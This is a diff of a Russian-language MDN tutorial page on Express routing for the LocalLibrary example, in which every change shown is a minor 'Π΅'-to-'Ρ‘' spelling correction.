ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² нСпосрСдствСнно Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ прилоТСния <em>Express</em>.</p>
@@ -97,11 +97,11 @@ module.exports = router;</code>
// ...
app.use('/wiki', wiki);</code></pre>
-<p>ПослС этого Π΄Π²Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² нашСм ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² wiki, станут доступны ΠΈΠ·Β <code>/wiki/</code>Β ΠΈΒ <code>/wiki/about/</code>.</p>
+<p>ПослС этого Π΄Π²Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² нашСм ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² wiki, станут доступны ΠΈΠ·Β <code>/wiki/</code>Β ΠΈΒ <code>/wiki/about/</code>.</p>
<h3 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_Route">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ Route</h3>
-<p>Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° ΠΏΠ°Ρ€Π° Ρ‚ΠΈΠΏΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°. ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Β "about" (Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>Router.get()</code>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Β  HTTP GET-запросы. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° - URL-ΠΏΡƒΡ‚ΡŒ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ -Β  колбэк-функция, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Β HTTP GET-запрос с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΒ ΠΏΡƒΡ‚Π΅ΠΌ.</p>
+<p>Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° ΠΏΠ°Ρ€Π° Ρ‚ΠΈΠΏΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°. ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Β "about" (Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>Router.get()</code>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Β  HTTP GET-запросы. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° - URL-ΠΏΡƒΡ‚ΡŒ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ -Β  колбэк-функция, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Β HTTP GET-запрос с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΒ ΠΏΡƒΡ‚Π΅ΠΌ.</p>
<pre class="brush: js"><code>router.get('/about', function (req, res) {
res.send('About this wiki');
@@ -117,7 +117,7 @@ app.use('/wiki', wiki);</code></pre>
<p>Π’Ρ‹ΡˆΠ΅ Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ€ΠΎΡƒΡ‚Π΅Ρ€Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ колбэк-Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊΠΈΡ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², сколько Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, ΠΈΠ»ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ массив колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. каТдая ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - это элСмСнт Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ слоя, ΠΈ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² порядкС ΠΈΡ… добавлСния Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒΒ (Ссли прСдыдущая функция Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ запрос).</p>
</div>
-<p>Π—Π΄Π΅ΡΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚Β GET-запрос с ΠΏΡƒΡ‚Π΅ΠΌΒ ('<code>/about'</code>) колбэк-функция ΠΏΡ€ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code>Β , возвращая строку "About this wiki". БущСствуСт  <a href="https://expressjs.com/en/guide/routing.html#response-methods">ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΎΡ‚Π²Π΅Ρ‚Π°</a>Β , Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΡ… Ρ†ΠΈΠΊΠ» запрос-ΠΎΡ‚Π²Π΅Ρ‚. НапримСр, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ JSON, ΠΈΠ»ΠΈΒ <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a>,</code>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ». ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован Ρ‡Π°Ρ‰Π΅ всСго ΠΏΡ€ΠΈ построСнии нашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ - это  <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΠΉ, Π½Π° основС шаблонов ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉΒ  HTML-Ρ„Π°ΠΉΠ»Ρ‹ β€”ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎΠ± этом ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅!</p>
+<p>Π—Π΄Π΅ΡΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚Β GET-запрос с ΠΏΡƒΡ‚Ρ‘ΠΌΒ ('<code>/about'</code>) колбэк-функция ΠΏΡ€ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code>Β , возвращая строку "About this wiki". БущСствуСт  <a href="https://expressjs.com/en/guide/routing.html#response-methods">ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΎΡ‚Π²Π΅Ρ‚Π°</a>Β , Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΡ… Ρ†ΠΈΠΊΠ» запрос-ΠΎΡ‚Π²Π΅Ρ‚. НапримСр, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ JSON, ΠΈΠ»ΠΈΒ <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a>,</code>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ». ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован Ρ‡Π°Ρ‰Π΅ всСго ΠΏΡ€ΠΈ построСнии нашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ - это  <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΠΉ, Π½Π° основС шаблонов ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉΒ  HTML-Ρ„Π°ΠΉΠ»Ρ‹ β€”ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎΠ± этом ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅!</p>
<h3 id="HTTP_Π³Π»Π°Π³ΠΎΠ»Ρ‹_(дСйствия)">HTTP Π³Π»Π°Π³ΠΎΠ»Ρ‹ (дСйствия)</h3>
@@ -125,7 +125,7 @@ app.use('/wiki', wiki);</code></pre>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ,Β <code>Router</code> обСспСчиваСт Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ…Β HTTP Π³Π»Π°Π³ΠΎΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ способом: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, ​​​​​​ <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, ΠΈΒ <code>connect()</code>.</p>
-<p>НапримСр, ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, с ΠΏΡƒΡ‚Π΅ΠΌ <code>/about,</code>Β Π½ΠΎ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° Β HTTP POST-запросы.</p>
+<p>НапримСр, ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, с ΠΏΡƒΡ‚Ρ‘ΠΌ <code>/about,</code>Β Π½ΠΎ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° Β HTTP POST-запросы.</p>
<pre class="brush: js"><code>router.post('/about', function (req, res) {
res.send('About this wiki');
@@ -156,7 +156,7 @@ app.use('/wiki', wiki);</code></pre>
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²</h3>
-<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² - это <em>ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ сСгмСнты URL</em>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π²Ρ‹Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ  URL. Π˜ΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ сСгмСнты Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ слСдуСт имя (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>/<strong>:</strong>your_parameter_name/</code>.Β  Π’Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ значСния ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>req.params,</code> ΠΏΡ€ΠΈΡ‡Π΅ΠΌ имя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΊΠ»ΡŽΡ‡ (Ρ‚.Π΅.Β <code>req.params.your_parameter_name</code>).</p>
+<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² - это <em>ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ сСгмСнты URL</em>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π²Ρ‹Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ  URL. Π˜ΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ сСгмСнты Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ слСдуСт имя (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>/<strong>:</strong>your_parameter_name/</code>.Β  Π’Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ значСния ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>req.params,</code> ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ имя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΊΠ»ΡŽΡ‡ (Ρ‚.Π΅.Β <code>req.params.your_parameter_name</code>).</p>
<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎ URL содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ… ΠΈ ΠΊΠ½ΠΈΠ³Π°Ρ…: Β <code>http://localhost:3000/users/34/books/8989</code>. МоТно ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ (см. Π½ΠΈΠΆΠ΅) Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹Β <code>userId</code>Β ΠΈΒ <code>bookId</code>Β ΠΏΡƒΡ‚ΠΈ:</p>
@@ -170,14 +170,14 @@ app.use('/wiki', wiki);</code></pre>
<p>ИмСна ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΡƒΡ‚ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· β€œΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² слова” (A-Z, a-z, 0-9, ΠΈΒ _).</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β URL <em>/book/create</em>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°ΠΌ Π²ΠΈΠ΄Π°Β <code>/book/:bookId</code>Β (ΠΈΒ '<code>create</code>' станСт значСниСм "bookId"). Π‘ΡƒΠ΄Π΅Ρ‚ использован ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΌΡƒΒ Β URL, поэтому, Ссли Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ URL Π²ΠΈΠ΄Π°Β <code>/book/create</code>Β ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ располоТСн Π΄ΠΎ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°Β <code>/book/:bookId</code> .</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β URL <em>/book/create</em>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°ΠΌ Π²ΠΈΠ΄Π°Β <code>/book/:bookId</code>Β (ΠΈΒ '<code>create</code>' станСт значСниСм "bookId"). Π‘ΡƒΠ΄Π΅Ρ‚ использован ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΡƒΒ Β URL, поэтому, Ссли Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ URL Π²ΠΈΠ΄Π°Β <code>/book/create</code>Β ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ располоТСн Π΄ΠΎ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°Β <code>/book/:bookId</code> .</p>
</div>
<p>Для Π½Π°Ρ‡Π°Π»Π° этих свСдСний достаточно - Ссли потрСбуСтся, ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Β Express: <a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a>Β (основы ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ) ΠΈΒ <a href="http://expressjs.com/en/guide/routing.html">Routing guide</a>Β (руководство ΠΏΠΎ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ). Β Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹ для нашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ LocalLibrary.</p>
<h2 id="ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹_Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅_для_Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ_LocalLibrary">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ LocalLibrary</h2>
-<p>Π’Π΅Β URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² ΠΈΡ‚ΠΎΠ³Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π½ΡƒΠΆΠ½Ρ‹ для Π½Π°ΡˆΠΈΡ… страниц, ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½ΠΈΠΆΠ΅.Β  Π‘Π»ΠΎΠ²ΠΎΒ <em>object</em>Β Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ Π½Π° имя ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ (book, bookinstance, genre, author),Β  слово <em>objects</em>Β - мноТСствСнноС число для <em>object, </em>Π°Β <em>id</em>Β - ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поля(<code>_id</code>), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Mongoose создаСт ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ экзСмпляра ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>Π’Π΅Β URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² ΠΈΡ‚ΠΎΠ³Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π½ΡƒΠΆΠ½Ρ‹ для Π½Π°ΡˆΠΈΡ… страниц, ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½ΠΈΠΆΠ΅.Β  Π‘Π»ΠΎΠ²ΠΎΒ <em>object</em>Β Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ Π½Π° имя ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ (book, bookinstance, genre, author),Β  слово <em>objects</em>Β - мноТСствСнноС число для <em>object, </em>Π°Β <em>id</em>Β - ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поля(<code>_id</code>), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Mongoose создаёт ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ экзСмпляра ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<ul>
<li><code>catalog/</code> β€” Π”ΠΎΠΌΠ°ΡˆΠ½ΡΡ страница home/index.</li>
@@ -190,7 +190,7 @@ app.use('/wiki', wiki);</code></pre>
